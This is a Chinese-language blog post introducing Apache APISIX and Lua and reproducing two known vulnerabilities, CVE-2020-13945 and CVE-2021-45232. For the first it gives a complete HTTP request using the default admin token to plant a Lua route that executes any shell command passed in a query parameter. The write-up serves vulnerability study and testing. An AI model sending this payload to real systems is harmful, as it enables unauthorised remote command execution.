Apache APISIX

news2025/6/7 16:20:56

目录

Apache APISIX是什么?

 Lua

Lua 的主要特点:     

Lua 的常见应用:

CVE-2020-13945(Apache APISIX默认API Token导致远程Lua代码执行)

​编辑Lua脚本解析     

CVE-2021-45232(Apache APISIX Dashboard API权限绕过导致RCE)

Apache APISIX是什么?

        Apache APISIX是一个高性能、云原生的API网关,它基于Nginx和Lua,用于处理和管理大规模的API请求。它是开源的,并且主要用于微服务架构中的流量管理、负载均衡、认证、访问控制、日志、监控等功能。

主要特点:

  • 高性能:基于 Nginx 的高性能特性,APISIX 能够处理大量并发请求。
  • 插件架构:提供丰富的插件系统,可以根据需求对流量进行控制(如身份验证、IP 限制、请求转发等)。
  • 动态路由:支持动态路由配置,可以根据请求的不同特点(如路径、方法、头信息等)进行流量路由。
  • 负载均衡:支持多种负载均衡算法,如轮询、加权轮询、最少连接等。
  • 支持多种协议:不仅支持 HTTP/HTTPS,也支持 WebSocket、gRPC 等协议。
  • 可扩展性:支持插件的动态加载和自定义插件开发,灵活扩展功能。
  • 云原生支持:与 Kubernetes 和 Docker 等云原生平台紧密集成,适合微服务架构。

典型用途:

  • API 管理:可以作为 API 网关,处理 API 的访问请求,提供认证、限流、日志记录等功能。
  • 微服务架构:在微服务架构中作为流量入口,统一管理和路由请求到不同的微服务。
  • 负载均衡和流量控制:通过配置负载均衡算法,平衡服务的流量和性能。

 Lua

        Lua 是一种轻量级、高效的脚本编程语言,它的设计目标是嵌入式开发,特别适合用作扩展语言。Lua 的语法简洁,执行效率高,且容易嵌入到其他应用中,常用于游戏开发、Web 应用、嵌入式系统等领域。

Lua 的主要特点:     

  • 轻量级和高效:Lua 的内存占用小,启动速度快,适合在资源受限的环境下使用。它的执行效率很高,通常在嵌入式系统中作为脚本语言来进行扩展。

  • 简洁的语法:Lua 的语法非常简洁,易学易用。它的设计者遵循了“少即是多”的原则,语言本身没有太多复杂的概念和关键字。

  • 嵌入式脚本:Lua 设计的一个重要目的就是作为嵌入式脚本语言,能够轻松集成到其他应用程序中。通过 C API,Lua 可以方便地和 C 语言编写的应用进行交互,因此在游戏、网络服务等领域有着广泛的应用。

  • 动态类型和自动垃圾回收:Lua 是一种动态类型语言,不需要显式地声明变量类型,同时也支持自动垃圾回收(即内存管理自动进行)。

  • 扩展性:Lua 本身提供了非常简洁的 API,允许开发者方便地通过 C 语言与外部系统进行交互和扩展。

Lua 的常见应用:

  • 游戏开发:Lua 经常作为游戏引擎的脚本语言,像 World of Warcraft 和 Angry Birds 就是使用 Lua 来进行游戏逻辑的编写。
  • Web 开发:Lua 在 Web 应用中也有应用,特别是与 Nginx 配合使用时,利用 OpenResty 平台提供高效的 Web 服务。
  • 嵌入式系统:Lua 可以嵌入到嵌入式系统中,控制硬件设备或进行系统配置。
  • 网络服务和 API 网关:像 Nginx 这样使用 Lua 扩展的应用,可以通过 Lua 脚本进行定制化的功能扩展,如动态路由、流量控制、缓存等。

Nginx 与 Lua 的结合:

         Nginx 本身是一个高效的 Web 服务器和反向代理服务器,但它的配置文件主要用于静态配置,处理不了很多动态的逻辑。而 Lua 可以通过 OpenRestyNginx 的 Lua 模块 来为 Nginx 增加动态的脚本支持,使其能够进行复杂的请求处理、数据处理等操作。例如,你可以使用 Lua 来编写自定义的路由逻辑、用户认证、请求转发等。

CVE-2020-13945(Apache APISIX默认API Token导致远程Lua代码执行)

        漏洞成因:在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token---edd1c9f034335f136f87ad84b625c8f1,可利用这个Token可以访问到管理员接口,进而通过script参数来插入任意Lua脚本执行。

版本要求:任意版本,截止本文章发布日期。

步骤1:使用默认Token访问管理员API接口来插入Lua脚本

POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}


Lua脚本解析     

  • 定义模块 _M_M 是一个 Lua 模块,定义了一个函数 access,该函数将在每次访问时执行。

  • access 函数的功能

    • 它首先通过 ngx.req.get_uri_args() 获取 URL 参数中的所有查询参数。
    • 然后,它从查询参数中提取 cmd 参数的值,并用 io.popen() 执行这个命令。io.popen() 会在操作系统中打开一个进程,执行提供的命令,并且返回该命令的输出。
    • 接着,它读取并将命令的输出作为字符串通过 ngx.say(s) 输出到响应中。
    • 最后,关闭执行命令的进程。
  • upstream 配置:这部分配置了一个上游服务器,它使用 roundrobin 负载均衡策略,将请求分发到 example.com:80 上。

步骤2:通过控制脚本里的参数值达到任意命令执行效果

        

CVE-2021-45232(Apache APISIX Dashboard API权限绕过导致RCE)

        APISIX Dashboard是Apache APISIX的web管理界面工具。

漏洞成因:APISIX Dashboard 2.10.1版本前存在两个API接口/apisix/admin/migrate/export和/apisix/admin/migrate/import,这两个接口没有进过droplet框架的权限验证,导致未授权访问的攻击可以导出导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让APISIX 访问任意网站,或者是执行Lua脚本。

版本要求:APISIX Dashboard < 2.10.1

步骤1:利用接口的未授权访问导入恶意的配置文件,这里使用自带的脚本。

步骤2:发送数据包验证是否执行

                

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2401235.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何在 git dev 中创建合并请求

先将 自己的代码 推到 自己的远程的 分支上 在 创建 合并请求 根据提示 将 自己的远程的 源码 合并到 对应的分支上 然后 创建 合并请求 等待 对应的 人 来 进行合并就行

基于nlohmann/json 实现 从C++对象转换成JSON数据格式

C对象的JSON序列化与反序列化 基于JsonCpp库实现C对象序列化与反序列化 JSON 介绍 JSON作为一种轻量级的数据交换格式&#xff0c;在Web服务和应用程序中广泛使用。 JSON&#xff08;JavaScript Object Notation&#xff09;是一种轻量级的数据交换格式&#xff0c;易于人阅读…

《T/CI 404-2024 医疗大数据智能采集及管理技术规范》全面解读与实施分析

规范背景与详细信息 《T/CI 404-2024 医疗大数据智能采集及管理技术规范》是由中国国际科技促进会联合河南科技大学、河南科技大学第一附属医院、深圳市人民医院等十余家医疗机构与企业共同制定的团体标准,于2024年5月正式发布实施。该规范是我国医疗大数据领域的重要技术标准…

国产三维CAD皇冠CAD在「金属压力容器制造」建模教程:蒸汽锅炉

面对蒸汽锅炉设计中复杂的曲面封头、密集的管板开孔、多变的支撑结构以及严格的强度与安全规范&#xff08;如GB150、ASME等&#xff09;&#xff0c;传统二维设计手段往往捉襟见肘&#xff0c;易出错、效率低、协同难。国产三维CAD皇冠CAD&#xff08;CrownCAD&#xff09;凭借…

C++中单例模式详解

在C中&#xff0c;单例模式 (Singleton Pattern) 确保一个类只有一个实例&#xff0c;并提供一个全局访问点来获取这个实例。这在需要一个全局对象来协调整个系统行为的场景中非常有用。 为什么要有单例模式&#xff1f; 在许多项目中&#xff0c;某些类从逻辑上讲只需要一个实…

舆情监控系统爬虫技术解析

之前我已经详细解释过爬虫在系统中的角色和技术要点&#xff0c;这次需要更聚焦“如何实现”这个动作。 我注意到上次回复偏重架构设计&#xff0c;这次应该拆解为更具体的操作步骤&#xff1a;从目标定义到数据落地的完整流水线。尤其要强调动态调度这个容易被忽视的环节——…

Vue3中Ant-design-vue的使用-附完整代码

前言 首先介绍一下什么是Ant-design-vue Ant Design Vue 是基于 Vue 3 的企业级 UI 组件库&#xff08;同时兼容 Vue 2&#xff09;&#xff0c;是蚂蚁金服开源项目 Ant Design 的 Vue 实现版本。它遵循 Ant Design 的设计规范&#xff0c;提供丰富的组件和高质量的设计体系&…

Redis Sorted Set 深度解析:从原理到实战应用

Redis Sorted Set 深度解析&#xff1a;从原理到实战应用 在 Redis 丰富的数据结构家族中&#xff0c;Sorted Set&#xff08;有序集合&#xff09;凭借独特的设计和强大的功能&#xff0c;成为处理有序数据场景的得力工具。无论是构建实时排行榜&#xff0c;还是实现基于时间的…

若依框架修改模板,添加通过excel导入数据功能

版本&#xff1a;我后端使用的是RuoYi-Vue-fast版本&#xff0c;前端是RuoYi-Vue3 需求: 我需要每个侧边栏功能都需要具有导入excel功能&#xff0c;但是若依只有用户才具备&#xff0c;我需要代码生成的每个功能都拥有导入功能。​ 每次生成一个一个改实在是太麻烦了。索性…

web全栈开发学习-01html基础

背景 最近在付费网站学习web全栈开发&#xff0c;记录一下阶段性学习。今天刚好学完html基础&#xff0c;跟着教程画了个基础的网站。 样品展示: 开发工具 vscode Visual Studio Code - Code Editing. Redefined 常用插件 Prettier&#xff1a;格式优化 Live Sever:实时调…

多线程环境中,如果多个线程同时尝试向同一个TCP客户端发送数据,添加同步机制

原代码 public async Task SendToClientAsync(TcpClient targetClient, byte[] data, int offset, int length) {try{// 1. 检查客户端是否有效if (targetClient null || !targetClient.Connected){Console.WriteLine("Cannot send: client is not connected");ret…

【含文档+PPT+源码】基于微信小程序的旅游论坛系统的设计与实现

项目介绍 本课程演示的是一款基于微信小程序的旅游论坛系统的设计与实现&#xff0c;主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。 1.包含&#xff1a;项目源码、项目文档、数据库脚本、软件工具等所有资料 2.带你从零开始部署运行本套系统 …

贝叶斯优化+LSTM+时序预测=Nature子刊!

贝叶斯优化与LSTM的融合在时间序列预测领域取得了显著成效&#xff0c;特别是在处理那些涉及众多超参数调整的复杂问题时。 1.这种结合不仅极大提高了预测的精确度&#xff0c;还优化了模型训练流程&#xff0c;提升了效率和成本效益。超参数优化的新篇章&#xff1a;LSTM因其…

Vue3(ref与reactive)

一&#xff0c;ref创建_基本类型的响应式数据 在 Vue 3 中&#xff0c;ref是创建响应式数据的核心 API 之一 ** ref的基本概念** ref用于创建一个可变的响应式数据引用&#xff0c;适用于任何类型的值&#xff08;基本类型、对象、数组等&#xff09;。通过ref包装的值会被转…

Starrocks中RoaringBitmap杂谈

背景 最近在阅读Starrocks源码的时候&#xff0c;遇到ColumnRefSet的RoaringBitmap使用&#xff0c;所以借此来讨论一下RoaringBitmap这个数据结构,这种思想是很值得借鉴的。 对于的实现可以参考一下 <dependency><groupId>org.roaringbitmap</groupId><…

涂胶协作机器人解决方案 | Kinova Link 6 Cobot在涂胶工业的方案应用与价值

涂胶工业现状背景&#xff1a; 涂胶工艺在汽车制造、电子组装、航空航天等工业领域极为关键&#xff0c;关乎产品密封、防水、绝缘性能及外观质量。 然而&#xff0c;传统涂胶作业问题频发。人工操作重复性强易疲劳&#xff0c;涂胶质量波动大&#xff1b;大型涂胶器使用增加工…

新手小白使用VMware创建虚拟机安装Linux

新手小白想要练习linux&#xff0c;找不到合适的地方&#xff0c;可以先创建一个虚拟机&#xff0c;在自己创建的虚拟机里面进行练习&#xff0c;接下来我给大家接受一下创建虚拟机的步骤。 VMware选择创建新的虚拟机 选择自定义 硬件兼容性选择第一个&#xff0c;不同的版本&a…

EscapeX:去中心化游戏,开启极限娱乐新体验

VEX 平台推出全新去中心化游戏 EscapeX&#xff08;数字逃脫&#xff09;&#xff0c;创新性地将大逃杀玩法与区块链技术相融合。用户不仅能畅享紧张刺激的解谜过程&#xff0c;更能在去中心化、公正透明的环境中参与游戏。EscapeX 的上线&#xff0c;为 VEX 生态注入全新活力&…

使用PyQt5的图形用户界面(GUI)开发教程

文章目录 写在前面一、PyQt5的安装1.1 使用Conda管理环境1.1.1 新建环境1.1.2 conda list和pip list的区别1.1.3 conda install和pip install的区别 1.2 安装PyQt5和Qt Designer1.3 VsCode中配置Qt Designer 二、PyQt5的UI设计2.1 .ui文件设计2.2 .qrc文件建立2.3 qss设计 三、…

JavaWeb:前端工程化-TS(TypeScript)

概述 快速入门 常用类型 基础类型 联合类型 函数类型 对象类型 接口Interface Interface和type区别 典型推论